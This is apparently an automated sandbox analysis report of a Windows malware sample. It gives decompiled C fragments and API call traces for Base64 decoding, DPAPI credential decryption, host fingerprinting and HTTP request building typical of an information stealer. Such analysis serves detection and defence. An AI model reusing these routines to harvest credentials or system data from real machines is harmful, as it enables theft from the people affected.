GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0047B088
LocalAlloc.KERNEL32(00000040,?), ref: 0047B0A0
GetKeyboardLayoutList.USER32(?,00000000), ref: 0047B0B4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0047B109
wsprintfA.USER32 ref: 0047B132
wsprintfA.USER32 ref: 0047B150
memset.NTDLL ref: 0047B176
LocalFree.KERNEL32(00000000), ref: 0047B18B

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID:
API String ID: 1833916909-0
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: fdd21ba703670337e187d272fea401134742040b20a5ce79256ed3c5e1346087
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: A3315CB094121CEBDB60DB54CD8DBEAB7B4FB44300F1086D5E519A6291C7785ED0CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004776C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyG,00000000,00000000), ref: 004776EF
LocalAlloc.KERNEL32(00000040,?,?,00477976,?,?), ref: 00477701
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyG,00000000,00000000), ref: 0047772A
LocalFree.KERNEL32(?,?,?,00477976,?,?), ref: 0047773F

Strings

vyG, xrefs: 004776D4, 004776E1, 004776F9, 00477718, 004776E4, 0047771B

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: vyG
API String ID: 4291131564-3111705468
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: 452b6c10e7a56387ef2fd4d91fe34bfc2895d1b1740fa060f6fb8c66cce8b8be
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7D11C0B4241208AFEB04CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004779F0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0047956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00477A3B
CryptStringToBinaryA.CRYPT32(0047956D,00000000), ref: 00477A46
lstrcat.KERNEL32(?,0041401A), ref: 00477B09
lstrcat.KERNEL32(?,0041401A), ref: 00477B1D
lstrcat.KERNEL32(0041401A,0041401A), ref: 00477B3E

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction ID: b188325ac8d7bdf3ef1e5601704620e8391161bc01a22d722f6269f9b9c95a48
Opcode Fuzzy Hash: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction Fuzzy Hash: A64183B490421D9FCB10DF94CD89BFEB7B8EF48704F1085A9E609A7280C7786A94CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,006720F0), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00474A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00474ACE
CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00474AF6

Strings

UNK, xrefs: 00474B0A

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: BinaryCryptString
String ID: UNK
API String ID: 80407269-448974810
Opcode ID: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction ID: 4f29dacfccccf79aec5317d0e7b87b921075048aaf61ab380bc0d430ce34774f
Opcode Fuzzy Hash: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction Fuzzy Hash: 020196F2A4020877D710EB94CC46FDA336CAB44705F104559B708AA1C1D7F4FB4487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00477760, Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00477784
LocalAlloc.KERNEL32(00000040,00000000), ref: 004777A3
LocalFree.KERNEL32(?), ref: 004777CF

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: cc5c2b79b137b3a9ee9e7f5fe48c40f5aab21dbb07689ccdc2b7213764f2554b
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: F211A5B8A01209EFCB04DF94C984AEEB7B9FF89300F108559F915A7390D734AE51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00476CF0, Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00476CF6
Sleep.KERNEL32(00002710), ref: 00476D04
GetTickCount.KERNEL32 ref: 00476D0A

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 25ef54ead3badc5b553dbae38a3deb27a2ffc6a55318625e337c3ab6bce644ed
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: 5EE08630A49108DFD710AFB8ED0C0EC7BB0EF00342F10C4B29C0993240DA3C49559B5B

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004773E0, Relevance: 1.6, APIs: 1, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 0047B8F0: GetProcessHeap.KERNEL32(00000008,b6H,?,0047B7ED,b6H,00000009,?,00483662,00000009), ref: 0047B8F9
Part of subcall function 0047B8F0: RtlAllocateHeap.NTDLL(00000000,?,0047B7ED), ref: 0047B900

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 00477433

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: f261865f2a3e03426ed17550d0038dedac532b4a20605dde13090f39354b2b83
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 3111FCB5D04209DFCF00DFA9C881AEEBBB5AF48304F14C159E919A7301D738AA41CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00475930, Relevance: 128.1, APIs: 64, Strings: 9, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0047593B
RtlAllocateHeap.NTDLL(00000000), ref: 00475942
lstrcat.KERNEL32(?,0041A6E4), ref: 00475955
lstrcat.KERNEL32(?,0041A22C), ref: 00475966
lstrcat.KERNEL32(?,00418BC0), ref: 00475975
lstrcat.KERNEL32(?,0041A6C4), ref: 00475986
lstrcat.KERNEL32(?,00418BC4), ref: 00475995
lstrcat.KERNEL32(?,`Ng), ref: 004759A6
lstrcat.KERNEL32(?,00418BC0), ref: 004759B5
lstrcat.KERNEL32(?,P`g), ref: 004759C6
GetCurrentProcessId.KERNEL32 ref: 004759CC

Part of subcall function 0047BBA0: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0047BBB4
Part of subcall function 0047BBA0: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0047BBD5
Part of subcall function 0047BBA0: CloseHandle.KERNEL32(00000000), ref: 0047BBDF

lstrcat.KERNEL32(?,00000000), ref: 004759E0
lstrcat.KERNEL32(?,00418BC0), ref: 004759EF
lstrcat.KERNEL32(?,Xag), ref: 004759FF

Part of subcall function 0047AF30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00475A0A), ref: 0047AF3D
Part of subcall function 0047AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0047AF44
Part of subcall function 0047AF30: GetLocalTime.KERNEL32(?,?,?,?,?,00475A0A), ref: 0047AF51
Part of subcall function 0047AF30: wsprintfA.USER32 ref: 0047AF7E

lstrcat.KERNEL32(?,00000000), ref: 00475A0F
lstrcat.KERNEL32(?,00418BC4), ref: 00475A1E
lstrcat.KERNEL32(?,h`g), ref: 00475A2F

Part of subcall function 0047AF90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047AFA0
Part of subcall function 0047AF90: RtlAllocateHeap.NTDLL(00000000), ref: 0047AFA7
Part of subcall function 0047AF90: GetTimeZoneInformation.KERNEL32(?), ref: 0047AFBA

lstrcat.KERNEL32(?,00000000), ref: 00475A3F
lstrcat.KERNEL32(?,00418BC0), ref: 00475A4E
lstrcat.KERNEL32(?,0041A0FC), ref: 00475A5F

Part of subcall function 0047B010: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0047B022

lstrcat.KERNEL32(?,00000000), ref: 00475A6F
lstrcat.KERNEL32(?,00418BC4), ref: 00475A7E
lstrcat.KERNEL32(?,0041A040), ref: 00475A8E

Part of subcall function 0047B050: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0047B060
Part of subcall function 0047B050: RtlAllocateHeap.NTDLL(00000000), ref: 0047B067
Part of subcall function 0047B050: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0047B088
Part of subcall function 0047B050: LocalAlloc.KERNEL32(00000040,?), ref: 0047B0A0
Part of subcall function 0047B050: GetKeyboardLayoutList.USER32(?,00000000), ref: 0047B0B4
Part of subcall function 0047B050: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0047B109
Part of subcall function 0047B050: wsprintfA.USER32 ref: 0047B132
Part of subcall function 0047B050: wsprintfA.USER32 ref: 0047B150
Part of subcall function 0047B050: memset.NTDLL ref: 0047B176
Part of subcall function 0047B050: LocalFree.KERNEL32(00000000), ref: 0047B18B

lstrcat.KERNEL32(?,00000000), ref: 00475A9E
lstrcat.KERNEL32(?,00418BC0), ref: 00475AAD
lstrcat.KERNEL32(?,0041A500), ref: 00475ABE

Part of subcall function 0047B1A0: GetSystemPowerStatus.KERNEL32(?), ref: 0047B1AA

lstrcat.KERNEL32(?,00000000), ref: 00475ACE
lstrcat.KERNEL32(?,00418BC4), ref: 00475ADD
lstrcat.KERNEL32(?,0041A164), ref: 00475AEE

Part of subcall function 0047B1D0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047B1E4
Part of subcall function 0047B1D0: RtlAllocateHeap.NTDLL(00000000), ref: 0047B1EB
Part of subcall function 0047B1D0: RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00475AF9), ref: 0047B20B
Part of subcall function 0047B1D0: RegQueryValueExA.ADVAPI32(00475AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0047B22C
Part of subcall function 0047B1D0: RegCloseKey.ADVAPI32(00475AF9), ref: 0047B236

lstrcat.KERNEL32(?,00000000), ref: 00475AFE
lstrcat.KERNEL32(?,00418BC4), ref: 00475B0D
lstrcat.KERNEL32(?,0041A580), ref: 00475B1D

Part of subcall function 0047B250: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047B25D
Part of subcall function 0047B250: RtlAllocateHeap.NTDLL(00000000), ref: 0047B264
Part of subcall function 0047B250: memset.NTDLL ref: 0047B275
Part of subcall function 0047B250: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0047B286
Part of subcall function 0047B250: __aulldiv.LIBCMT ref: 0047B2A0
Part of subcall function 0047B250: wsprintfA.USER32 ref: 0047B2CC

lstrcat.KERNEL32(?,00000000), ref: 00475B2D
lstrcat.KERNEL32(?,00418BC4), ref: 00475B3C
lstrcat.KERNEL32(?,0041A2A8), ref: 00475B4D

Part of subcall function 0047B2E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047B2F4
Part of subcall function 0047B2E0: RtlAllocateHeap.NTDLL(00000000), ref: 0047B2FB
Part of subcall function 0047B2E0: RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[G), ref: 0047B31B
Part of subcall function 0047B2E0: RegQueryValueExA.ADVAPI32(X[G,0041A4DC,00000000,00000000,?,000000FF), ref: 0047B33C
Part of subcall function 0047B2E0: RegCloseKey.ADVAPI32(X[G), ref: 0047B346

lstrcat.KERNEL32(?,00000000), ref: 00475B5D
lstrcat.KERNEL32(?, 1g), ref: 00475B6E

Part of subcall function 0047B360: GetCurrentProcess.KERNEL32(00000000), ref: 0047B36F
Part of subcall function 0047B360: IsWow64Process.KERNEL32(00000000), ref: 0047B376

lstrcat.KERNEL32(?,00000000), ref: 00475B7E
lstrcat.KERNEL32(?,01g), ref: 00475B8F
lstrcat.KERNEL32(?,00418BC4), ref: 00475B9E
lstrcat.KERNEL32(?,0041A798), ref: 00475BAF
lstrcat.KERNEL32(?,00000000), ref: 00475BBF
lstrcat.KERNEL32(?,00418BC4), ref: 00475BCE
lstrcat.KERNEL32(?,0041A424), ref: 00475BDF

Part of subcall function 0047B3D0: wsprintfA.USER32 ref: 0047B42C

lstrcat.KERNEL32(?,00000000), ref: 00475BEF
lstrcat.KERNEL32(?,00418BC0), ref: 00475BFE
lstrcat.KERNEL32(?,0041A75C), ref: 00475C0E

Part of subcall function 0047AEA0: GetProcessHeap.KERNEL32(00000000,00000104,?,00475C19), ref: 0047AEAD
Part of subcall function 0047AEA0: RtlAllocateHeap.NTDLL(00000000,?,00475C19), ref: 0047AEB4
Part of subcall function 0047AEA0: GetComputerNameA.KERNEL32(00475C19,00000104), ref: 0047AECC

lstrcat.KERNEL32(?,00000000), ref: 00475C1E
lstrcat.KERNEL32(?,00418BC4), ref: 00475C2D
lstrcat.KERNEL32(?,0041A4A4), ref: 00475C3E

Part of subcall function 0047AEF0: GetProcessHeap.KERNEL32(00000000,00000104,?,00475C49), ref: 0047AEFD
Part of subcall function 0047AEF0: RtlAllocateHeap.NTDLL(00000000,?,00475C49), ref: 0047AF04
Part of subcall function 0047AEF0: GetUserNameA.ADVAPI32(?,00000104), ref: 0047AF1C

lstrcat.KERNEL32(?,00000000), ref: 00475C4E
lstrcat.KERNEL32(?,00418BC4), ref: 00475C5D
lstrcat.KERNEL32(?,0041A3C0), ref: 00475C6E
lstrcat.KERNEL32(?,00000000), ref: 00475C7E
lstrcat.KERNEL32(?,00418BC4), ref: 00475C8D
lstrcat.KERNEL32(?,0041A6C0), ref: 00475C9D

Part of subcall function 0047B490: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047B4A4
Part of subcall function 0047B490: RtlAllocateHeap.NTDLL(00000000), ref: 0047B4AB
Part of subcall function 0047B490: RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00475CA8), ref: 0047B4CB
Part of subcall function 0047B490: RegQueryValueExA.ADVAPI32(00475CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0047B4EC
Part of subcall function 0047B490: RegCloseKey.ADVAPI32(00475CA8), ref: 0047B4F6

lstrcat.KERNEL32(?,00000000), ref: 00475CAD
lstrcat.KERNEL32(?,00418BC4), ref: 00475CBC
lstrcat.KERNEL32(?,@1g), ref: 00475CCD

Part of subcall function 0047B510: GetCurrentHwProfileA.ADVAPI32(?), ref: 0047B51D
Part of subcall function 0047B510: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0047B52B
Part of subcall function 0047B510: RtlAllocateHeap.NTDLL(00000000), ref: 0047B532
Part of subcall function 0047B510: memset.NTDLL ref: 0047B549
Part of subcall function 0047B510: lstrcat.KERNEL32(?,?), ref: 0047B55A

lstrcat.KERNEL32(?,00000000), ref: 00475CDD
lstrcat.KERNEL32(?,00418BC0), ref: 00475CEC
lstrcat.KERNEL32(?,Ng), ref: 00475CFD
lstrcat.KERNEL32(?,00418BC4), ref: 00475D0C
lstrlen.KERNEL32(?), ref: 00475D22

Strings

Ng, xrefs: 00475CF2, 00475CF8
`Ng, xrefs: 0047599B, 004759A1
ag, xrefs: 00475D2D, 00475D33
Xag, xrefs: 004759F5, 004759FA
1g, xrefs: 00475B63, 00475B69
@1g, xrefs: 00475CC2, 00475CC8
01g, xrefs: 00475B84, 00475B8A
P`g, xrefs: 004759BB, 004759C1
h`g, xrefs: 00475A24, 00475A2A

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$wsprintf$CloseNameOpen$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: 1g$01g$@1g$P`g$Xag$`Ng$h`g$Ng$ag
API String ID: 874587921-262573161
Opcode ID: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction ID: 8c841d14572a9cbd3f982caea367555bcd58aae4ce6648a730d9e2efcdf80cfb
Opcode Fuzzy Hash: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction Fuzzy Hash: 6EC119BA611504FBCB00DBE4DF89DDE77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00474E30, Relevance: 101.9, APIs: 56, Strings: 2, Instructions: 371stringnetworkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00474E7A
RtlAllocateHeap.NTDLL(00000000), ref: 00474E81
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00474EA8
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00474ECA
StrCmpCA.SHLWAPI(?,00418B90), ref: 00474EED
lstrcat.KERNEL32(?,00000000), ref: 00474F20
lstrcat.KERNEL32(?,00418B9C), ref: 00474F32
lstrcat.KERNEL32(?,00418BA0), ref: 00474F44
lstrcat.KERNEL32(?,?), ref: 00474F58
lstrcat.KERNEL32(?,00418BA8), ref: 00474F6A
lstrcat.KERNEL32(?,00418B9C), ref: 00474F7C
lstrcat.KERNEL32(?,@pe), ref: 00474F90
lstrcat.KERNEL32(?,?), ref: 00474FA4
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00474FCD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00474FF2
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00C00100,00000000), ref: 00475037
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00400100,00000000), ref: 00475069
lstrcat.KERNEL32(?,00418BA0), ref: 0047508E
lstrcat.KERNEL32(?,?), ref: 004750A2
lstrcat.KERNEL32(?,00418B9C), ref: 004750B4
lstrcat.KERNEL32(?, Ug), ref: 004750C8
lstrcat.KERNEL32(?,0041A058), ref: 004750DB
lstrcat.KERNEL32(?,00418BAC), ref: 004750ED
lstrcat.KERNEL32(?,?), ref: 004750FE
lstrcat.KERNEL32(?,00418B9C), ref: 00475110
lstrcat.KERNEL32(?,00418BA0), ref: 00475122
lstrcat.KERNEL32(?,?), ref: 00475136
lstrcat.KERNEL32(?,00418B9C), ref: 00475148
lstrcat.KERNEL32(?,0041A644), ref: 0047515C
lstrcat.KERNEL32(?,?), ref: 0047516D
lstrcat.KERNEL32(?,00418BB4), ref: 0047517F
lstrcat.KERNEL32(?,0041A038), ref: 00475192
lstrcat.KERNEL32(?,00418B9C), ref: 004751A4
lstrcat.KERNEL32(?,0041A538), ref: 004751B7
lstrcat.KERNEL32(?,00418BB8), ref: 004751C9
lstrlen.KERNEL32(?), ref: 004751D6
lstrlen.KERNEL32(?), ref: 004751E8
